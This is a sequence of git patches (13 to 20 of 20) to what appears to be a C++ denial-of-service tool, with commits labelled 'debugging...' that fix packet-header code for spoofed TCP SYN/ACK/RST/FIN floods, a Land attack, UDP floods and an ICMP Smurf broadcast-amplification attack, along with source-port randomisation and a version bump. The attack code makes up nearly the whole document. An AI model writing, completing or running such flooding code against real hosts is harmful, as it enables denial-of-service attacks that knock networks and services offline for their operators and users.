From: Sepehrdad Sh Date: Sun, 3 Jun 2018 20:34:00 +0400 Subject: [PATCH 13/20] debugging... --- Sources/Spoofed_Flood.cpp | 6 ++++++ Sources/Spoofed_TCP_Flood.cpp | 23 +++++++++++++++-------- 2 files changed, 21 insertions(+), 8 deletions(-) diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index 412c472..c4dc536 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -28,5 +28,11 @@ int Spoofed_Flood::make_socket(int protocol) { print_error("setsockopt() error"); exit(EXIT_FAILURE); } + + if(setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on)) == -1){ + print_error("setsockopt() error"); + exit(EXIT_FAILURE); + } + return sock; } diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 65b3cae..cc77766 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -85,25 +85,25 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(std::shared_ptr conf) : Spoofed_Flo void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ case Config::SpoofedSyn: - tcp->th_flags += TH_SYN; + tcp->syn = 1; break; case Config::SpoofedAck: - tcp->th_flags = TH_ACK; + tcp->ack = 1; break; case Config::SpoofedRST: - tcp->th_flags = TH_RST; + tcp->rst = 1; break; case Config::SpoofedPUSH: - tcp->th_flags = TH_PUSH; + tcp->psh = 1; break; case Config::SpoofedURG: - tcp->th_flags = TH_URG; + tcp->urg = 1; break; case Config::SpoofedFin: - tcp->th_flags = TH_FIN; + tcp->fin = 1; break; case Config::Land: - tcp->th_flags = TH_SYN; + tcp->syn = 1; ip->saddr = ip->daddr; tcp->source = tcp->dest; default:break; @@ -129,8 +129,15 @@ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { tcp->source = htons(static_cast(s_port)); tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); tcp->seq = 0; + tcp->ack_seq = 0; tcp->doff = 5; //tcp header size + tcp->fin=0; + tcp->syn=0; + tcp->rst=0; + tcp->psh=0; + tcp->ack=0; + tcp->urg=0; tcp->window = htons (5840); tcp->check = 0; - tcp->th_flags = 0; + tcp->urg_ptr = 0; } From 74b54ca94c60c0e13130769601a2080b77e8a0d4 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 21:35:50 +0400 Subject: [PATCH 14/20] debugging... --- Sources/Spoofed_TCP_Flood.cpp | 40 +++++++++++++++-------------------- Sources/Spoofed_UDP_Flood.cpp | 10 ++++----- 2 files changed, 22 insertions(+), 28 deletions(-) diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index cc77766..e42ce17 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -62,7 +62,7 @@ void Spoofed_TCP_Flood::attack() { memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header) , tcp , sizeof(struct tcphdr) + strlen(buf)); - tcp->check = csum( (unsigned short*) pseudogram , psize); + tcp->th_sum = csum( (unsigned short*) pseudogram , psize); if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ @@ -85,27 +85,27 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(std::shared_ptr conf) : Spoofed_Flo void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ case Config::SpoofedSyn: - tcp->syn = 1; + tcp->th_flags = TH_SYN; break; case Config::SpoofedAck: - tcp->ack = 1; + tcp->th_flags = TH_ACK; break; case Config::SpoofedRST: - tcp->rst = 1; + tcp->th_flags = TH_RST; break; case Config::SpoofedPUSH: - tcp->psh = 1; + tcp->th_flags = TH_PUSH; break; case Config::SpoofedURG: - tcp->urg = 1; + tcp->th_flags = TH_URG; break; case Config::SpoofedFin: - tcp->fin = 1; + tcp->th_flags = TH_FIN; break; case Config::Land: - tcp->syn = 1; + tcp->th_flags = TH_SYN; ip->saddr = ip->daddr; - tcp->source = tcp->dest; + tcp->source = tcp->th_dport; default:break; } } @@ -126,18 +126,12 @@ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { ip->check = csum((unsigned short *) buf, ip->tot_len); // TCP Struct - tcp->source = htons(static_cast(s_port)); - tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->seq = 0; - tcp->ack_seq = 0; - tcp->doff = 5; //tcp header size - tcp->fin=0; - tcp->syn=0; - tcp->rst=0; - tcp->psh=0; - tcp->ack=0; - tcp->urg=0; - tcp->window = htons (5840); - tcp->check = 0; - tcp->urg_ptr = 0; + tcp->th_sport = htons(static_cast(s_port)); + tcp->th_dport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + tcp->th_seq = htonl(static_cast(Randomizer::randomInt(0, RAND_MAX))); + tcp->th_ack = htonl(static_cast(Randomizer::randomInt(0, RAND_MAX))); + tcp->th_off = 5; + tcp->th_win = htons(5840); + tcp->th_sum = 0; + tcp->th_flags = 0; } diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index a7ca249..228891c 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -62,7 +62,7 @@ void Spoofed_UDP_Flood::attack() { memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header) , udp , sizeof(struct udphdr) + strlen(buf)); - udp->check = csum( (unsigned short*) pseudogram , psize); + udp->uh_sum = csum( (unsigned short*) pseudogram , psize); if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1) { @@ -106,8 +106,8 @@ void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { ip->check = csum((unsigned short *) buf, ip->tot_len); // UDP Struct - udp->source = htons(static_cast(s_port)); - udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - udp->len = htons(static_cast(sizeof(struct udphdr))); - udp->check = 0; + udp->uh_sport = htons(static_cast(s_port)); + udp->uh_dport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + udp->uh_ulen = htons(static_cast(sizeof(struct udphdr))); + udp->uh_sum = 0; } From 86c3a77a4a1a74ce0ffa3a00380f36ab4f8ebe9a Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 21:54:45 +0400 Subject: [PATCH 15/20] debugging... --- Sources/ICMP_Flood.cpp | 9 +++------ Sources/Spoofed_TCP_Flood.cpp | 8 ++------ Sources/Spoofed_UDP_Flood.cpp | 4 +--- 3 files changed, 6 insertions(+), 15 deletions(-) diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 5eede05..f1975a4 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -81,7 +81,7 @@ void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ break; case Config::Smurf: icmp->type = ICMP_ECHO; - icmp->type = ICMP_NET_UNREACH; + icmp->code = ICMP_NET_UNREACH; ip->daddr = inet_addr(conf->broadcast.c_str()); ip->saddr = inet_addr(conf->website.c_str()); default:break; @@ -92,20 +92,17 @@ void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { // IP Struct ip->version = 4; - ip->ihl = 5; + ip->ihl = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(buf); ip->tos = 0; - ip->tot_len = htons(sizeof(buf)); + ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(buf); ip->id = static_cast(Randomizer::randomInt(1, 1000)); ip->frag_off = htons(0x0); ip->ttl = 255; ip->protocol = IPPROTO_ICMP; - ip->check = 0; - ip->check = csum((unsigned short *) buf, ip->tot_len); icmp->type = 0; icmp->code = 0; icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); - icmp->checksum = 0; } diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index e42ce17..7928df2 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -113,7 +113,7 @@ void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { auto s_port = conf->RandomizePort ? Randomizer::randomPort() : 0; // IP Struct - ip->ihl = 5; + ip->ihl = sizeof(struct iphdr)/4; ip->version = 4; ip->tos = 16; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf); @@ -121,8 +121,6 @@ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { ip->frag_off = htons(0x0); ip->ttl = 255; ip->protocol = IPPROTO_TCP; - ip->check = 0; - ip->check = csum((unsigned short *) buf, ip->tot_len); // TCP Struct @@ -130,8 +128,6 @@ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { tcp->th_dport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); tcp->th_seq = htonl(static_cast(Randomizer::randomInt(0, RAND_MAX))); tcp->th_ack = htonl(static_cast(Randomizer::randomInt(0, RAND_MAX))); - tcp->th_off = 5; + tcp->th_off = sizeof(struct tcphdr)/4; tcp->th_win = htons(5840); - tcp->th_sum = 0; - tcp->th_flags = 0; } diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 228891c..2911f84 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -94,7 +94,7 @@ void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { auto s_port = conf->RandomizePort ? Randomizer::randomPort() : 0; // IP Struct - ip->ihl = 5; + ip->ihl = sizeof(struct iphdr)/4; ip->version = 4; ip->tos = 16; ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf); @@ -102,12 +102,10 @@ void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { ip->frag_off = htons(0x0); ip->ttl = 255; ip->protocol = IPPROTO_UDP; - ip->check = 0; ip->check = csum((unsigned short *) buf, ip->tot_len); // UDP Struct udp->uh_sport = htons(static_cast(s_port)); udp->uh_dport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); udp->uh_ulen = htons(static_cast(sizeof(struct udphdr))); - udp->uh_sum = 0; } From ab7fe12221d0c520a5fa51e3234a22ea8472b5db Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 22:30:14 +0400 Subject: [PATCH 16/20] debugging... --- Sources/ICMP_Flood.cpp | 2 -- 1 file changed, 2 deletions(-) diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index f1975a4..3a8c43b 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -101,8 +101,6 @@ void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { ip->protocol = IPPROTO_ICMP; ip->check = csum((unsigned short *) buf, ip->tot_len); - icmp->type = 0; - icmp->code = 0; icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); } From abc10cab9efb7de3ac0c7ab8d7f83dfb2dde45aa Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 23:37:29 +0400 Subject: [PATCH 17/20] debugging... --- Headers/Randomizer.hpp | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index 04d094a..0cdd9f9 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -27,7 +27,13 @@ namespace Randomizer{ } static int randomPort(){ - return randomInt(0, 65535); + static auto init_s_port = 0; + if(init_s_port == 0){ + init_s_port = 1024 + (randomInt(0, 2000)); + } + static int seq = 0; + seq++; + return (seq + init_s_port) % 65536; } static const void randomstr(std::string& src){ From cd3e508ece9d7f03ecb28b86ae3d7a63ab0e21b6 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 23:52:10 +0400 Subject: [PATCH 18/20] debugging... --- Headers/Randomizer.hpp | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index 0cdd9f9..e653cee 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -28,11 +28,12 @@ namespace Randomizer{ static int randomPort(){ static auto init_s_port = 0; + static int seq = 0; + seq++; if(init_s_port == 0){ init_s_port = 1024 + (randomInt(0, 2000)); + return init_s_port; } - static int seq = 0; - seq++; return (seq + init_s_port) % 65536; } From 47691ea40e93497d3fc5abe6caadc962585e20f3 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Mon, 4 Jun 2018 00:18:48 +0400 Subject: [PATCH 19/20] updating... --- Headers/Version.hpp | 2 +- README.md | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/Headers/Version.hpp b/Headers/Version.hpp index a069db3..0b4117f 100755 --- a/Headers/Version.hpp +++ b/Headers/Version.hpp @@ -3,7 +3,7 @@ #define VERSION_MAJOR 1 -#define VERSION_MINOR 3 +#define VERSION_MINOR 4 #define BUILD_YEAR_CH0 (__DATE__[ 7]) diff --git a/README.md b/README.md index df37a4a..9672258 100755 --- a/README.md +++ b/README.md @@ -47,10 +47,6 @@ Options:\      -ru     randomize HTTP UserAgent\      -rs     randomize Source IP\      -rp     randomize Source Port\ -     -qq     set verbosity to quiet quiet\ -     -q      set verbosity to quiet\ -     -v      set verbosity to verbose\ -     -vv     set verbosity to very verbose\      -D      set delay in microseconds\      -T      set number of threads\      -C      set number of connections per thread\ From 665a37439370b3dd25dcccd923a1e851a3a0b2a4 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Mon, 4 Jun 2018 00:23:52 +0400 Subject: [PATCH 20/20] updating... --- Sources/Spoofed_TCP_Flood.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 7928df2..2bb3de8 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -105,7 +105,7 @@ void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ case Config::Land: tcp->th_flags = TH_SYN; ip->saddr = ip->daddr; - tcp->source = tcp->th_dport; + tcp->th_sport = tcp->th_dport; default:break; } }